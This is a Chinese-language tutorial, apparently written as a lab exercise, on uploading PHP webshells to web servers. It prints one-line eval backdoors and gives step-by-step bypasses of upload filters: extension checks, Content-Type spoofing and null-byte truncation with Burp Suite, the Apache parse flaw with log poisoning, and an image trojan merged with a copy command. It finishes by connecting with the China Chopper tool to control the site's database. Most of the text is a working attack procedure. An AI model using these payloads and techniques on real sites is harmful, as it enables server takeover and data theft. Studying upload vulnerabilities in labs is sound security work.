目錄
- 介紹
- 測試內容
- 實戰
是什么?
webshell是web入侵的腳本攻擊工具。簡單說,webshell就是一個asp或php木馬后門,黑客在入侵了一個網站后,常常在將這些 asp或php木馬后門文件放置在網站服務器的web目錄中,與正常的網頁文件混在一起。然后黑客就可以用web的方式,通過asp或php木馬后門控制網站服務器,包括上傳下載文件、查看數據庫、執行任意程序命令等。一句話木馬也稱為小馬<?php @eva($_REQUEST['cmd']);?>
webshell 最大的優點就是可以穿越防火牆,由於與被控制的服務器或遠程主機交換的數據都是通過80端口傳遞的,因此不會被防火牆攔截。並且使用webshell一般不會在系統日志中留下記錄,只會在網站的web日志中留下一些數據提交記錄,沒有經驗的管理員是很難看出入侵痕跡的。
測試內容
1.繞過前台過濾
- a.繞過前台腳本檢測擴展名上傳webshell
- b.繞過Content-Type檢測文件類型上傳webshell
- c.利用00截斷上傳webshell
2.繞過服務器端擴展名檢測上傳
3. 構造圖片web木馬
實戰
1. 前台過濾
a.繞過前台腳本檢測
1) 編寫php的一句話木馬,內容為【<?php @eval($_POST[pass]); ?>】,文件文pass.php
直接上傳pass.php文件發現無法上傳,已經被限制文件格式
>>上傳pass.php
>>web網站做了上傳文件限制,不可以直接上傳后綴為.php的文件
2)將文件修改文pass.php.jpg圖片格式,上傳成功,證明可以通過圖片格式進行繞過
>>上傳pass.php.jpg的圖片文件
>>訪問該文件顯示成功
3)瀏覽器使用本地代理,再次上傳,利用burnsuite工具將包劫持,將filenname修改為.php格式,再將包發出去。這時候就顯上傳pass.php文件成功,利用中國菜刀查看文件路徑就可以查看數據庫
>>截取pass.php.jpg文件上傳的包
>>Content Type不變,修改后綴為pass.php
>>將修改后的包Foward發送出去,訪問上傳目錄下pass.php文件是否存在
>>可以直接用菜刀工具連接該木馬,可以對數據庫進行控制了
b.繞過Content-Type檢測文件類型上傳webshell
text/html的意思是將文件的content-type設置為text/html的形式,瀏覽器在獲取到這種文件時會自動調用html的解析器對文件進行相應的處理。
text/plain的意思是將文件設置為純文本的形式,瀏覽器在獲取到這種文件時並不會對其進行處理。(image/jpeg為圖片格式)
1)直接上傳pass.php文件,但是無法查看相應數據庫,應該是再conten type識別了
2)使用burn suite劫持數據包,將image/jpeg修改為text/plai,再進行上傳,看到上傳成功
3)使用中國菜刀可以查看相應的數據庫
c. 利用00截斷上傳webshell
1)上傳pass.php.jpg文件,顯示上傳成功
2)使用burn suite劫持,然后對hex進行修改,查看ASCLL表,將對應的jpg格式修改成為php格式。我發現了一個在線編碼解碼的可以更快對相應進行修改,網址https://www.107000.com/T-Hex/
3)修改之后就使用中國菜刀進行解析,查看相應的數據庫
2.繞過服務器端擴展名檢測上傳
a.利用apache解析漏洞上傳webshell
1) 將上傳的木馬文件后綴名.php改為.php.abc
2) 利用apache的解析漏洞用菜刀連接擴展名為.abc的文件填寫木馬密碼和選擇腳本類型,獲得網站的一個webshell。
3)通過apache日志獲得webshell測試文件包含,在URL中提交GET參數【?ajest=test.php】向目標站點提交錯誤信息,Apache會將錯誤信息寫入日志。通過本地文件包含漏洞,包含apache日志,即可獲得一句話webshell
3. 構造PHP圖片木馬
一般情況下,網頁會檢測文件內容是不是真的有效圖片,如果不是就不會允許上傳
1)上傳一個pass.phpjpg文件,顯示不允許上傳
2)制作一個木馬圖片:將一張正常圖片666.jpg和木馬文件pass.php放在同一個目錄下,使用cmd到這個文件夾,將兩個文件合成.jpg文件 copy 666.jpg+pass.php hack.jpg
3)上傳hack.jpg文件改為hack.jpg.php,訪問這個文件路徑成功
4)用中國菜刀打開就ok了,可以看到數據庫信息